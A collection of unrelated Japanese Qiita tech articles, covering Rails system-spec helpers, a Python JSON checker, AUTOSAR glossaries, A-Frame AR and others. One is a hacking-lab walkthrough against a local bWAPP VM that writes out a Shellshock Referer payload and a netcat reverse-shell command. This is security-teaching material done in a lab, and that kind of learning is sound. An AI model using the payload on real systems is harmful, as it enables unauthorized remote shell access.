OmniAICreator/Qiita-1.07M huggingface dataset:
【Rails/System Spec】サポートモジュールで結合テストコードの記述を短くする（ログイン動作をまとめる）

## 初めに

今回は結合テストコードの記述を短く、可視性を高めるために
繰り返し使用するログイン動作をまとめました。

## サポートモジュールとは？

RSpecに用意されている、メソッド等をまとめる機能のことです。
「ログインしたら投稿ページに遷移できる」
「ログインしたら編集ページに遷移できる」
「ログインしたら削除ページに遷移できる」等
複数出てくる同じ処理をまとめることができます。

## 使い方

#### ①ディレクトリとファイルを作成

specディレクトリ配下に
supportディレクトリを作成し
その配下にsign_in_support.rbを作成します。
（ファイル名はご自身がわかりやすいものでOKです！
今回はログインのため「sign_in_support」という名前にしています）

```
🗂　spec
 　　🗂　factories
 　　🗂　models
　　 🗂　requests
 　　🗂　support　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　こちらのディレクトリを作成
   ∟ sign_in_support.rb　　　　　　こちらのファイルを作成
 　　🗂　system
```

#### ②sign_in_support.rbファイルに記述

module内にログインの流れを定義します。


```sign_in_support.rb
module SignInSupport
  def sign_in(user)
    root_path
    visit new_user_session_path
    fill_in 'メールアドレス', with: user.email
    fill_in 'パスワード（英数字6文字以上）', with: user.password
    find('input[name="commit"]').click
    expect(current_path).to eq(root_path)
  end
end
```
※fill_in等 記述の書き方や意味に関しては<a href="https://qiita.com/study_matome/items/836691b6242dbdd5dcb9">こちらの記事</a>でまとめています。

#### ③サポートモジュールを読み込む設定をする

以下２点を行います。
１.　rails_helper.rbのコメントアウトを外す
２.　モジュールを設定する

1. Dir[Rails.root.join('spec', 'support', '**', '*.rb')].sort.each { |f| require f }という記述のコメントアウトを外して、読み込まれるようにします。

```spec/rails_helper.rb
#23行目あたりにある記述のコメントアウトを外す
Dir[Rails.root.join('spec', 'support', '**', '*.rb')].sort.each { |f| require f }
```

２.同ファイルのRSpec.configureの中に、以下のようにモジュール名を明記する

「config.include SignInSupport」を追加する

```spec/rails_helper.rb
RSpec.configure do |config| 
  config.include SignInSupport              #こちらの１行を追加
  # Remove this line if you're not using ActiveRecord or ActiveRecord fixtures
  config.fixture_path = "#{::Rails.root}/spec/fixtures"

#以下省略
```
※別名にした際は「SignInSupport」を別名の記述に合わせてご入力ください。

#### ④結合テストコードでの呼び出し方法

・sign_in(user)を使用して呼び出す
※FactoryBot使用の際は、適宜使用できる変数に変更する
（今回の場合は＠をつけています）

```spec/system/items_spec.rb
RSpec.describe '新規投稿', type: :system do
  before do
    @user = FactoryBot.create(:user)
    @item = FactoryBot.build(:item)
  end

  context '新規投稿ができるとき'do
    it 'ログインしたユーザーは新規投稿できる' do
      # ログインする
      sign_in(@user)     #こちらを追加   
      # 投稿ページに移動する
      以下省略 
```


## まとめ

最後までご覧くださり、ありがとうございました。

今回はサポートモジュールで結合テストコードの記述を短くするため
ログイン動作をまとめた実装の記録でした。

初学者のため、記入漏れや記述ミスがありましたら教えていただけると助かります。

こちらの記事がどなたかの参考になりましたら幸いです。

## 関連

<a href="https://qiita.com/study_matome/items/836691b6242dbdd5dcb9">【Rails/System Spec/Capybara】結合テストコードを書くときによく使う表現 一例</a>
<a href="https://qiita.com/study_matome/items/bb396a58d6bf78c5968f">【Rails】結合テストコードの書き方（新規登録に関するテストコード）</a>
JSON形式を判定するツール(Python)

# 概要
今日は前回のテストデータに含まれているデータがJSON形式が正しいか判定するツールを作成します。
業務上でこのファイルを毎回行毎にWEBサイトで貼り付けて確認するのが面倒でしたので、
Pythonで作成することになりました。

# 前回の記事
JSONファイルの日付のみ更新するツールです。

https://qiita.com/neomi/items/68f04401ee6dd020d1a9

# ファイルの内容
次の内容にレコードを追加しましょう。

~~~~
#################
cur20200101.json
#################
{"name":"田中","age":"46","gender":"1","reg_date":"2020/01/01 15:33:25"}{ssss}
{"name":"鈴木","age":"32","gender":"1","reg_date":"2020/01/01 16:18:12"}
{"name":"水島","age":"52","gender":"1","reg_date":"2020/01/01 17:48:45"}{{{
{"name":"田中","age":"46","gender":"1","reg_date":"2020/01/02 22:33:25"}###@
{"name":"鈴木","age":"32","gender":"1","reg_date":"2020/01/02 23:18:12"}
{"name":"水島","age":"52","gender":"1","reg_date":"2020/01/02 23:48:45"}
~~~~

# ソース
現在ディレクトリにあるファイルからJSON形式の行を判定するロジックです。
正しくない場合、該当するファイル名とjsonの内容を表示します。

~~~
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys
import json

def is_json(json_str, filename):
    result = False
    try:
        json.loads(json_str)
        result = True
    except Exception as e:
        print("file=" + filename)
        print("json=" + json_str)
        print("")

for file in os.listdir('./'):
    if file != 'check.py':
        with open(file) as f:
            for line in f:
                content = is_json(line, file)
~~~


# 実行
上記のコマンドを保存して実行します。

~~~
pi@raspberrypi:~/work/month=01/day=01 $ python check.py
file=cur20250101.json
json={"name":"田中","age":"46","gender":"1","reg_date":"2020/01/01 15:33:25"}{ssss}


file=cur20250101.json
json={"name":"水島","age":"52","gender":"1","reg_date":"2020/01/01 17:48:45"}{{{


file=cur20250101.json
json={"name":"田中","age":"46","gender":"1","reg_date":"2020/01/02 22:33:25"}###@


file=cur20250101.json
json=
#最後の行がそのまま判定されています。
~~~


# 終わりに
最初は手動でチェックしようとしましたが、どう考えても効率が悪いのでPythonでチェックしてから正しくないものを修正する方法で作業がおわりましたので、今回メモとして残しました。
次回は日付毎にファイルを保存するツールを作成したいと思います。
ありがとうございます。
エッジコンピューティングでビジネスはどう変わる？

# はじめに
IT×ビジネスという視点で週1本記事を投稿しています。
もし興味のある方は下のリンクから他の記事も見ていただければ幸いです。
 [@7_inai_](https://qiita.com/7_inai_)

# エッジコンピューティングとは
エッジコンピューティングとは、IoT端末等の __デバイスそのもの__ や、その __近くに設置されたサーバー__ でデータ処理・分散を行う __分散コンピューティングの概念__ のことです。

従来のIoTシステムでは、クラウドにデータを送ってそこですべてのデータを処理していました。それに対してエッジコンピューティングでは、データの入力を直接受けているそれぞれのデバイスでデータを処理します。その後、必要なデータのみをクラウドに転送します。

# エッジコンピューティングでビジネスがどう変わる？
エッジコンピューティングが注目されるようになった背景には、AIとIoTの普及があります。エッジコンピューティングによってAIやIoTを導入する上での問題を解消することができます。
その主な理由は以下の2点です。

1. ネットワークにかかる負荷を小さくできる
IoTでは常に大量のデータをクラウドに送信しているため、必然的にネットワークへの負荷が大きくなり、ネットワークの維持・管理に多大なコストと労力を要します。しかし、エッジコンピューティングでは、先ほども記載した通り、必要なデータのみをクラウドに送信するため、ネットワークにかかる負荷を小さくすることができます。

2. リアルタイム性が向上する
IoTではリアルタイム性が非常に重要になってきます。エッジコンピューティングでリアルタイム性が向上する理由の1つ目は、理由1で記載した通り、エッジコンピューティングではネットワークにかかる負荷を小さくできるためです。もう1つの理由は、データを1箇所で処理せず、分散して処理するため処理にかかる負荷も分散することができるためです。

### ■IoT ⇄ エッジコンピューティング ⇄ AI
エッジコンピューティングの重要性は、自動運転のようなリアルタイム性が重要な設備で考えるとわかりやすいと思います。例えば、自動運転中の車が前方に障害物を察知してからクラウドにデータを送り、そこからデータを処理してフィードバックし、その結果に応じて障害物を回避していたのでは間に合いません。それに対して、エッジコンピューティングを使用すると、各デバイス(車)で判断できるため素早く対応することができます。

# 終わりに
今回はエッジコンピューティングのメリットを中心に記載しましたが、エッジコンピューティングの最大のデメリットはコストがかかることです。そのため、エッジコンピューティングの必要性を考えながら導入する必要があります。

最後までお付き合いくださりありがとうございました。
日記 5/31 CSS border-collapse

# 5/31 今日知ったこと 

### CSS `bordercollapse`
テーブルセルの枠線の表示方法を指定する。
collapse = 崩壊

参考記事
https://webukatu.com/wordpress/blog/23036/

![スクリーンショット 2022-05-31 22.28.24.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1209814/af25ea10-88bd-0dce-b6db-97d803e71566.png)

<table> に border-collapse: border
<tr> に border-bottom: 1px solid #ddd で要素ごとにいい感じの下線が引けるっぽい

↓こんな
![スクリーンショット 2022-05-31 22.33.36.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1209814/0c2d6af3-fe94-e4c6-ec48-b9859e10c4a4.png)
GASで重たい処理中にローディング表示する

# GASで重たい処理中にローディング表示する

ファイルの読み書き中やAPIの呼び出し時に、
ローディング表示したいなと思ったので作ってみました。

## 概要

1. GASから[モーダルダイアログ](https://developers.google.com/apps-script/reference/base/ui?hl=en#showmodaldialoguserinterface,-title)を呼び出し
1. モーダルダイアログでローディング表示している[裏で重たい処理を実行](https://developers.google.com/apps-script/guides/html/reference/run?hl=en)
1. 処理が完了したらダイアログ側に結果を通知

![c2cd85c3c042b69f4994e728c700af51.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/174766/cd3bfaae-5b9b-54b6-22c0-ec4a96e16c1f.gif)

## 手順

### 重たい関数を作る

6分を超えない範囲で重たい処理を実装しましょう
モーダルダイアログに情報を返したい時は

- 正常終了時：`return`で戻り値を返す
- 異常終了時：`throw`でエラーオブジェクトを返す

とすることで、モーダル側で処理を分けることが出来ます

```js:main.gs
function verySlowFunc() {
  // 時間のかかる処理
  Utilities.sleep(3 * 1000);

  // 終了時に表示する文字列
  return 'Success';
  // 失敗時は例外を投げる
  // throw new Error('Failuer!');
}
```

### ローディング画面を呼び出す部分を作る

モーダルダイアログを呼び出す処理を作成します。
ダイアログはクライアントサイドで動くので
サーバーサイドから渡したい情報は、グローバル変数を利用して共有します。
※このケースでは、関数名を文字列として受け渡し

```js:main.gs
/** ローディング画面に受け渡すためのグローバル変数 */
let loading_cb = '';

/** ローディング画面の呼び出し*/
function beginLoading() {
  // ローディング中に実行する関数をコールバックに指定
  loading_cb = 'verySlowFunc';

  const html = HtmlService
    .createTemplateFromFile('load.html')
    .evaluate();
  SpreadsheetApp.getUi().showModalDialog(html, '重たい処理...');
}
```

### ローディング画面を実装する

こんな感じでhtmlを書きましょう。
GASのIDEでファイル追加すればOKです

https://gist.github.com/soyalumno/f81abc11dab7ac90cfca3ed8a5197ea0

以下の箇所で、サーバーサイドでセットした
グローバル変数を参照して、`callBack`関数に渡します。

```html:load.html
  <script type="text/javascript">
    window.onload = (_ => {
      google
        .script
        .run
        .withSuccessHandler(onSuccess)
        .withFailureHandler(onFailure)
        .callBack(<?= loading_cb ?>); // コールバック関数を読み込む
    });
  </script>

```

GASにはScriptletという仕組みがあり、
こんな感じのフォーマットで記述した部分は事前にサーバーサイドで実行された後でHTMLとして解釈されます

```
<?= loading_cb ?>
```
https://developers.google.com/apps-script/guides/html/templates?hl=en


### コールバック用APIを作成する

モーダル(クライアントサイド)から呼び出すための関数を作成します。

本当は関数オブジェクトを直接渡して実行したい所ですが、
クライアントサイドの`google.script.run`で指定可能な関数は
**HTMLファイル毎に固定**なので汎用性があまり高くありません。

そのため、関数名の文字列をキーとしたテーブルを用意して
コールバック用APIに渡された文字列に対応した関数を呼び出す設計にしています。


```js:main.gs
/**
 * ローディング画面からのコールバック用関数
 * @param[in] {string} func 呼び出す関数名
 */
function callBack(func) {
  // コールバックテーブル
  const callBackTable = {
    'verySlowFunc': () => verySlowFunc(),
  };

  // コールバック関数実行
  if(callBackTable[func])
    return callBackTable[func]();

  // テーブルに無ければエラー
  throw new Error('no callback');
}
```

こうすることで、1つの`load.html`に対して
複数のコールバック関数を割り当てることが可能になり、
コードの見通しが良くなりました

## まとめ

今回はローディング画面のコールバック関数という形で
サーバーサイドとクライアントサイドの連携を行いました。

どちらもJavascriptベースで処理が書けるので、
慣れれば割と簡単に意図した処理が実現出来るかと思います🙌
【TypeScript】オブジェクトの仕様と型について

## はじめに

オブジェクトの仕様については、TypeScriptというよりはJavascriptだが、把握できていなかったことがあったのでまとめておく。

## 結論

```tsx
function shallowCopy<T extends object>(obj: T): T {
  const result = {} as T;
  for (const key in obj) {
    result[key] = obj[key];
    // console.log(obj);
  }
  return result;
}
```

などのように、引数にオブジェクトを受け取る関数の場合など、オブジェクトの型が未確定の場合は、

`for (const key in obj)` の　`key`はデフォルトで`const key: Extract<keyof T, string>`　という型がつくようになっている。

これには、`obj[key]`などとプロパティにアクセスする際にkeyに対して`toString`が自動的に実行されていることが関係している。

### 詳細

もし、

```
type TestObj ={
  1: string
  2: string
}

const obj2 = {
  1: "taro",
  2: "yamada",
}

const copyObj = shallowCopy<TestObj>(obj2);
```

というような形で、Tの型がnumberであっても

```
  for (const key in obj) {
    result[key] = obj[key];
  }
```

`result[key]`が実行されるタイミングで、keyがtoStringされるので、
（JavaScriptのランタイムは.toStringを事前に呼び出す）

```
const key: Extract<keyof T, string>
```

には反さないので問題ない。

## おわりに

オブジェクトのkeyの型が定まっていないのに何故`Extract<keyof T, string>` とstringに限定するか、など把握しきれていなかった部分を理解することができました。
AZ-305 Microsoft Azure Infrastructure Solutions 認定資格 を取得しました

# はじめに
先月AZ-104を取得しましたが、流れに乗ってAZ-305を取得しました。これで[Azure Solutions Architect Expert]となりました。

# Microsoft Azure Infrastructure Solutions(AZ-305) とは
[この辺](https://docs.microsoft.com/ja-jp/learn/certifications/exams/az-305)を参照ください。

# 教材
利用した順番に記載しています。

1. オンライントレーニング：[Microsoft Learn (AZ-305向け)](https://docs.microsoft.com/ja-jp/learn/certifications/exams/az-305)
    - AZ-104である程度知識があったため、サクッと終わらせようと思いましたが、量がかなり多く時間を費やしました。
    - 勉強にはなりますが、これだけで試験に臨むには心もとないです。
1. Udemy：[Exam AZ-305 - Designing Azure Infrastructure Solutions 2022](https://www.udemy.com/course/exam-az-microsoft-azure-exam-role1/)
    - 講義＋模擬試験(134問)の内容です。
    - 講義は全く受けておらず、模擬試験のみ学習しました。
    - 下記の問題集と比べると微妙な内容です。解説が少なく、且つ間違っていると思われるものが数問ありました。
1. Udemy：[AZ-305: Designing Azure Infrastructure Solutions Exam 2022](https://www.udemy.com/course/az-304-microsoft-azure-architect-design-exam-practice-tests/)
    - 上とタイトルが似ていますが、こちらは模擬試験集です。(50-55問 x 6セット)
    - 本番試験に近い問題の出し方であったり、内容がとてもためになるものであったりするため、試験合格のためであれば、これだけで良いと思います。
    - 解説は、説明とともに参考元のドキュメントをリンクしているため、学習し易いです。ただ、一部の説明は、なぜ○×なのかではなく、単にサービスの説明をしているだけのものがあるため、自分で根拠を調べる必要があります。

# 結果
AZ-104取得直後の状態で、上記を2週間学習し、100%の合格率になった状態で試験に挑みました。30分ぐらいでサクッと終わらせ、9割以上の得点でした。
Microsoft Learnでは、AZ-104より難しい内容でしたが、Udemy効果もあり、試験に関してはAZ-305の方がはるかに簡単でした。
試験内容については、AZ-104と同等、通常の選択式以外に、戻ることができない問題やシナリオ問題(これもひと纏まりを終えると戻れない)でした。AWS SAPと比べ長文はそこまで無く、進めやすいと思います。

# 感想
- 想定よりも早く[Azure Solutions Architect Expert]になりましたが、全然Azureを分かった気がしません。。。
Kali Linux2022.1 でハッキングラボをつくってみる10 ウェブアプリハッキング7 Shellshockでの攻撃

# はじめに
「ハッキング・ラボのつくりかた」p.649-652を参考に、Kalilinux2022.1で検証した記事です。

:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::

# Shellshock
bashの脆弱性を突いて、http要求のRefererから任意のコマンドを送り込む
## 実証
"http:/\/192.168.56.60/bWAPP/portal.php"にアクセスして、プルダウンメニューから、「Shellshock Vulnerability(CGI)」を選択して「Hack」をクリックして、"http:/\/192.168.56.60/bWAPP/shellshock.php"に遷移する。

shellshock.phpのソースを確認する。59行目に次のコードを見つける
```html:shellshock.php
<iframe frameborder="0" src="./cgi-bin/shellshock.sh" height="200" width="600" scrolling="no"></iframe>
```
shellshockのソースも確認する。
```sh:shellshock.sh
<!DOCTYPE html>
<html>
<head>
<link rel=stylesheet type=text/css href=../stylesheets/stylesheet.css />
<title>bWAPP - Shellshock Vulnerability (CGI)</title>
</head>
<body>
<div id=frame>
<p><i>
This is my first Bash script :)<br />
Current user: 
www-data
</i></p>
</div>
</body>
</html>
```
"This is my first Bash script :)<br />
Current user: www-data"
がshellshock.shの実行結果であることが分かる。つまり、shellshock.phpで任意のシェルが実行できる可能性がある？？

## Firefoxでの設定
URL入力欄に"about:preferences"と入力して、一番下の「ネットワーク設定」の「接続設定」をクリックする。「手動でプロキシを設定する」を選択して、全ての欄を"127.0.0.1"と設定、ポート番号は"9500"と設定する。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/3657cd22-6243-bddd-44be-c752cfc2bde9.png)
## Burpでhttp要求を補足
BurpSuiteを起動して、「Temporary project」>「Use Burp defaults」と進む。

「Proxy」タブの「Options」タブからBurpのポート番号を8080から9500に変更する。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/a6665621-e807-9bb2-3d22-8cdbe9f8994d.png)

同じProxyタブの「Intercept」タブに移り、「Intercept is on」の状態にする。Firefoxで"http:/\/192.168.56.60/cgi-bin/shellshock.sh"にアクセス。http要求は、Burpに補足される。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_31_05_2022_21_38_17_shellshock_burp1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/3c147b59-5464-cf08-24ee-dfa67f6e3cfd.png)
「Action」から「Send to Repeater」をクリック・実行し、Repeaterに送る。
その後は、interceptをオフにしておく。

「Repeater」の「Request」タブに移り、" Referer: () { bWAPP; }; echo; /bin/echo "shell shock" "を画像のように挿入する。偽造したhttp要求を送る。終わったら「Send」をクリック。Responseタブに移ると、"shell schock"が表示されている。これが、shellshockの脆弱性があることの確証となる。（bee-boxのシェルが実行できる。）
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_31_05_2022_21_55_59_shellshock_burp2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/16e103b1-f46a-e88c-27ec-867a757c1fd7.png)

## リバースシェルで接続
kaliLinuxの端末で、次のコマンドを実行。
```
nc -nlvp 5050
```
Burpの「Request」タブにて、"Referer: () { bWAPP; }; echo; /bin/nc -e /bin/bash 192.168.56.2 5050"を挿入する。「Send」をクリックすると、端末でリバースシェルのセッションが確認できる。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_31_05_2022_22_17_58_shellshock_burp3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/431db952-99ce-acb4-4c9b-550ab84cfeb0.png)
【お店探しのWebAR】A-Frame実装編

# どんなアプリ？
おおもとの記事です。
[【Django,A-frame】お店探しのWebARを作りました。](https://qiita.com/KarT1994/items/e7fae60a5856891ff0fd)

# 対象の読者
一応、下記前提で記事を書いていきますが、難しいことは書いてないので分からない用語があれば調べてください。
（私も初心者なので、間違った内容を書いていたらご指摘いただければ幸いです）
* HTMLの初歩的な用語、文法を知っている人向け
* javascriptの初歩的な用語、文法を知っている人向け

# 今回の内容
A-frameでオブジェクトを特定の方向に表示
A-frameで画面タッチでオブジェクトを表示

# A-frameとは
HTMLで簡単にARを実装できるThree.jsをベースに開発されたWebフレームワークです。
A-frame専用のタグをbodyの中に入れるだけでARが実装できます。例えばa-cameraタグを入れればカメラ映像、a-planeを入れれば平面オブジェクトがWeb上に映し出されます。
基本的な使い方は下記サイトが参考になります。
[https://bagelee.com/programming/aframe-creative-coding/](https://bagelee.com/programming/aframe-creative-coding/)

# A-frameでオブジェクトを特定の方向に表示
今回、LocationBasedARと呼ばれる特定の場所にARを表示する手法を使いました。
特定の緯度経度にある程度近づいた時にARが表示されます。
参考サイト
[https://bagelee.com/programming/location-based-ar/](https://bagelee.com/programming/location-based-ar/)

1. entityでブロック化する
a-entityタグはdivと同じようなもので、表示空間のブロック化をしてくれます。a-entityの中に記述されたコードは親であるa-entityの属性を引き継ぎます。
2. gps-entity-place属性で表示する緯度軽度を設定する
a-entityの属性にgps-entity-place="latitude: 緯度; longitude: 経度;"と記載することで、その場所にオブジェクトを表示することができます。
3. オブジェクトの表示
今回は日本語のテキストを表示したかったのですが、A-frameにはa-textタグがあり文字を表示できるのですが、残念ながら日本語テキストに対応していないため、canvasで日本語テキストを画像化しました。a-imageで画像を表示させることで代用しています。
scaleはオブジェクトのサイズを指定できます。今回は距離に合わせてサイズを変えたかったので、取得した緯度経度から現在地との距離を算出し、距離に反比例した大きさになるようにしています。
4. htmlに反映
html上で反映したい箇所に新たにa-entityを作成して、document.querySelector(id名).innerHTMLで１〜3で記述した内容を反映します。

```javascript:aframe_ctrl.js
document.querySelector('#test'+shop_cnt).innerHTML = `
<a-entity gps-entity-place="latitude: ${(shop_lat)}; longitude: ${(shop_lng)};">
  <a-image 
   scale="${(width)/_size} ${height/_size} 1" src="${base64}"  
   look-at="[gps-camera]"
  >
  </a-image>
     ・・・
</a-entity>
`
```

```html:home.html
    ・・・
<a-entity id="test0" position="0 40 0"></a-entity>
<a-entity id="test1" position="0 20 0"></a-entity>
<a-entity id="test2" position="0 0 0"></a-entity>
<a-entity id="test3" position="0 -20 0"></a-entity>
<a-entity id="test4" position="0 -40 0"></a-entity>
     ・・・

```
# A-frameで画面タッチでアクションの実行
まず前提として、A-frameはカーソルと呼ばれる視線が存在します。視線はカメラの中央から一直線に伸びていて、それがオブジェクトに交差(raycaster)することで空間のオブジェクトに干渉することができます。

1.タッチすることができるオブジェクトを設定する
raycasterは交差できるオブジェクトの指定します。下の場合はclassがclickableになっているオブジェクトが交差できるようになっています。
```html:home.html
    <a-camera 
　　・・・
    raycaster="objects: .clickable"    
    cursor="rayOrigin: mouse"> 
　　・・・
　　<a-sphere class="clickable" material="side: back" visible="false" position="0 -0.1 -1" foo></a-sphere>

```

2.オブジェクトがタッチされた時の処理
オブジェクト名（ここではfoo）をregisterComponentで呼び出し、中身に処理を入れます。
ここではタッチされた時に（mouseup)、visibleをTrue/False切り替えしてオブジェクトの表示/非表示をします。

```html:home.html
<script>
      AFRAME.registerComponent("foo", {
        init: function() {
          this.el.addEventListener("mouseup", e => {
		  var showflg = document.getElementById("modalOpen").getAttribute('visible');
            if(String(showflg) == 'true'){    
              document.getElementById("modalOpen").setAttribute('visible','false');
             }
            else{
              document.getElementById("modalOpen").setAttribute('visible', 'true');
             }
          })
        }
      });
</script>
```
SW-C and System Modeling Guide, No.207, AUTOSAR R21-11(296) CP

SW-C and System Modeling Guide, No.207, 2021-11

https://www.autosar.org/fileadmin/standards/classic/21-11/AUTOSAR_TR_SWCModelingGuide.pdf

AUTOSAR R21-11記事一覧はこちら。

AUTOSAR 21-11,200文書読んだ。2022年5月にFO, AP, CP 全部到達。

https://qiita.com/kaizen_nagoya/items/4043e8414f850ce266a4

AUTOSAR R21-11(0) 仕様ダウンロード一覧。単語帳。参考文献資料作成

https://qiita.com/kaizen_nagoya/items/9b3a1b9b8d1e8d7e288e

# 用語(terms)
|Term|Description|
|:--|:--|
|API| Application Programming Interface
| AR| AUTOSAR
|CAN|Controller Area Network
|ECU| Electronic Control Unit
|HMI| Human Machine Interface
| MISRA| Motor Industry Software Reliability Association
| RTE| Real Time Environment
|SW-C| Software Component
| WP|Work Package
| XML| eXtensible Markup Languag
## 英日
日本語は仮訳

T.B.D.

# 参考(reference)

[1] Template UML Profile and Modeling Guide
AUTOSAR_TemplateModelingGuide.pdf
[2] Specification of RTE Software
AUTOSAR_SWS_RTE.pdf
[3] Software Component Template
AUTOSAR_TPS_SoftwareComponentTemplate.pdf
[4] AUTOSAR Model Persistence Rules for XML
AUTOSAR_TR_XMLPersistenceRules.pdf
[5] MISRA-C: 2004. Guidelines for the use of the C language in critical systems.
[6] Autosar Methodology
AUTOSAR_TR_Methodology.pdf
[7] Generic Structure Template
AUTOSAR_TPS_GenericStructureTemplate.pdf
[8] Requirements on Runtime Environment
AUTOSAR_SRS_RTE.pdf
[9] Standardization Template
AUTOSAR_TPS_StandardizationTemplate.pdf
[10] Requirements for Software Component Modeling
AUTOSAR_RS_SWCModeling.pdf
[11] AUTOSAR System Template
AUTOSAR_TPS_SystemTemplate.pdf
webページを自動でスクロールするためのブックマークレット

# 自動でスクロールするブックマークレットを作ってみた

ご飯食べながらWeb小説読むときに便利

## 結論 
1. 以下の文をブックマークのURLに記載して登録する。
2. スクロールしたいWebページでブックマークから登録したブックマークを実行する。

* 開始用
``` javascript
javascript:if(typeof idti!=='undefined'){clearInterval(idti);}idti=setInterval(function(){scrollBy(0,1);},50)
```
* 停止用
``` javascript
javascript:if(typeof idti!=='undefined'){clearInterval(idti);}
```

## なにやっているの?

コード整形すると中身がわかりやすい
``` javascript
// 既にidti(id time interval)が定義されていれば、自動スクロール処理が走っているとして
// その処理を停止させる
if(typeof idti!=='undefined'){
    clearInterval(idti);
}

// set interval を使って 50ms ごとに 1 pxcel 下に移動する処理を呼び出す
idti=setInterval(function(){scrollBy(0,1);},50)
```

なお上の停止処理がないと、2回実行したときに50msごとに実行される処理が2つできるので、
意図した2倍の速度でスクロールされてしまう。

また別々の速度をブックマークを登録しておいてスクロール量を変更したいときに、
1. 停止用のブックマークレットをブックマークから呼び出し
1. 別の速度のブックマークレットをブックマークから呼び出し 

と2回ブックマークを実行するのではなく1度で停止→実行をしたかったので。

## スクロール速度のカスタマイズ
以下の数値を変更する。

* setInterval の 第2引数(遅延間隔)を変更する。  
* scrollBy の 第2引数(上下方向に何pxcel移動するか)を変更する。

※ pxcel数を大きくしすぎたり、間隔を長くするとカクカクしたスクロールになるので、
setIntervalの値を変更することをおすすめする。

なお筆者は5パターンぐらい作って、webページの文字数に応じて変更させてる。


## その他
javascript 4年ぶりぐらいに触ったので、拙いところがあるかもしれませんがご了承下さい。

そもそもclearInterval前に if文で判定する必要なくない? 
→ 知らん

なんかAndroid chromeでブックマーク実行したけど動かないんだけど!
→ 上のURLにブックマーク名を入力して実行すると動くよ! 面倒だね!!!
Explanation of Application Interface of AD/ADAS vehicle motion control, No.988, AUTOSAR R21-11(295) CP

Explanation of Application Interface of AD/ADAS vehicle motion control, No.988, 2021-11

https://www.autosar.org/fileadmin/user_upload/standards/classic/21-11/AUTOSAR_EXP_AIADASAndVMC.pdf

AUTOSAR R21-11記事一覧はこちら。

AUTOSAR 21-11,200文書読んだ。2022年5月にFO, AP, CP 全部到達。

https://qiita.com/kaizen_nagoya/items/4043e8414f850ce266a4

AUTOSAR R21-11(0) 仕様ダウンロード一覧。単語帳。参考文献資料作成

https://qiita.com/kaizen_nagoya/items/9b3a1b9b8d1e8d7e288e

# 用語(terms)
|Term|Description|
|:--|:--|
|ABS| Antilock Braking System
|ACC |Adaptive Cruise Control
|ACL |Acceleration
|ACT |Actuator
|ADAS| Advance Driver Assistance System
|AEB |Autonomous Emergency Braking
|BAS| Brake Assist
|BRK |Brake
|BRWS| Basic Rear Wheel Steering
|BSTS| Basic Steering Torque Superposition
|BSAS |Basic Steering Angle Superposition
|CBC| Cornering Brake Control
|CoG |Centre of Gravity
|DAS| Driver Assistance System
|DTC |Regulation of the Drag Torque
|EBD |Electronic Brake Force Distribution
|ECU |Electronic Control Unit
|EPB |Electronic Parking Brake
|ESC |Electronic Stability Control
|FA |Front Axle
|HDC |Hill Decent Control
|HHC|Hill Hold Control
|HMI| Human Machine Interface
|HW| Hardware
|I/F| Interface
|LKA |Lane Keep Assist
|MGR| Manager
|NVH| Noise, Vibration, Harshness
|OEM |Original Equipment Manufacturer
|PT| Powertrain
|RA| Rear Axle
|RSC |Roll Stability Control
|SR| Situation Recognition
|SSM |Stand Still Manager/Management
|STR| Steering
|SW| Software
|SW-C |Software Component
|TCS| Traction Control System
|VFB |Virtual Function Bus
|VGR |Variable Gear Ratio
|VLC |Vehicle Longitudinal Control
|VM |Vehicle Model
|VMC |Vehicle Motion Control
|VSS| Vehicle State Sensors
|YRC| Yaw Rate Control

## 英日
日本語は仮訳

T.B.D.

# 参考(reference)

[1] Explanation of Application Interfaces of the Chassis Domain
AUTOSAR_EXP_AIChassis
[2] ISO 8855:2011, Road vehicles – Vehicle dynamics and road-holding ability – Vocabulary
http://www.iso.org
[3] Glossary
AUTOSAR_TR_Glossary
[4] ISO 26262:2018 (all parts) – Road vehicles – Functional Safety
http://www.iso.org
[5] ISO/PAS 21448:2019 – Road vehicles – Safety of the intended functionality
http://www.iso.org
[6] JASPAR Standards Document: ST-AVI-1 – AD/ADAS Vehicle Motion Control Interface Specification Ver. 2.0
https://www.jaspar.jp/en
【Rails/System Spec/Capybara】結合テストコードを書くときによく使う表現 一例

## 初めに


今までテストコードを書く際に調べながら書いていたため、時間がかかっていました。
今後効率的に記述ができるように
結合テストコードを書くときによく使う表現の一例をまとめていきたいと思います！

## 結合テストコードを書くときによく使う表現 一例

#### ○○ページに移動する（実際に遷移する際に使用）
visit 〇〇_path

・パスを調べる方法
```
 % rails routes
```
---


#### visitで訪れたpageの中に、Xという文字列があるかどうかを判断する

expect(page).to have_content('X')

##### ・・　page
visitで訪れた先のページの見える分だけの情報が格納されている。
※カーソルを合わせてはじめて見ることができる文字列はpageの中に含まれない。

##### ・・　have_content('X')
Xという文字列が「ある」ことを判断する

##### ・・　have_no_content('X')
Xという文字列が「ない」ことを判断する

----

#### 要素の中に当てはまるリンクがあるか判断する
expect('要素').to have_link 'ボタンの文字列', href: 'リンク先のパス'

a要素に対して使用する

##### ・・　have_link
指定したリンクが「ある」ことを判断する

##### ・・　have_no_link
指定したリンクが「ない」ことを判断する

----



#### 現在いるページのパスを確認する

expect(current_path).to eq(パスの指定_path) 


---

#### 実際にフォームへの入力を行う
fill_in 'フォームの名前', with: '入力する文字列'


例　html.erbのラベル名が「メールアドレス」の場合

```html.erb
<div class="field">
     <div class="field__flex">
          <%= f.label :email, "メールアドレス" %>  #実際に表示しているラベル名を使用する
          <div class="need"> 必須 </div><br />
     </div>
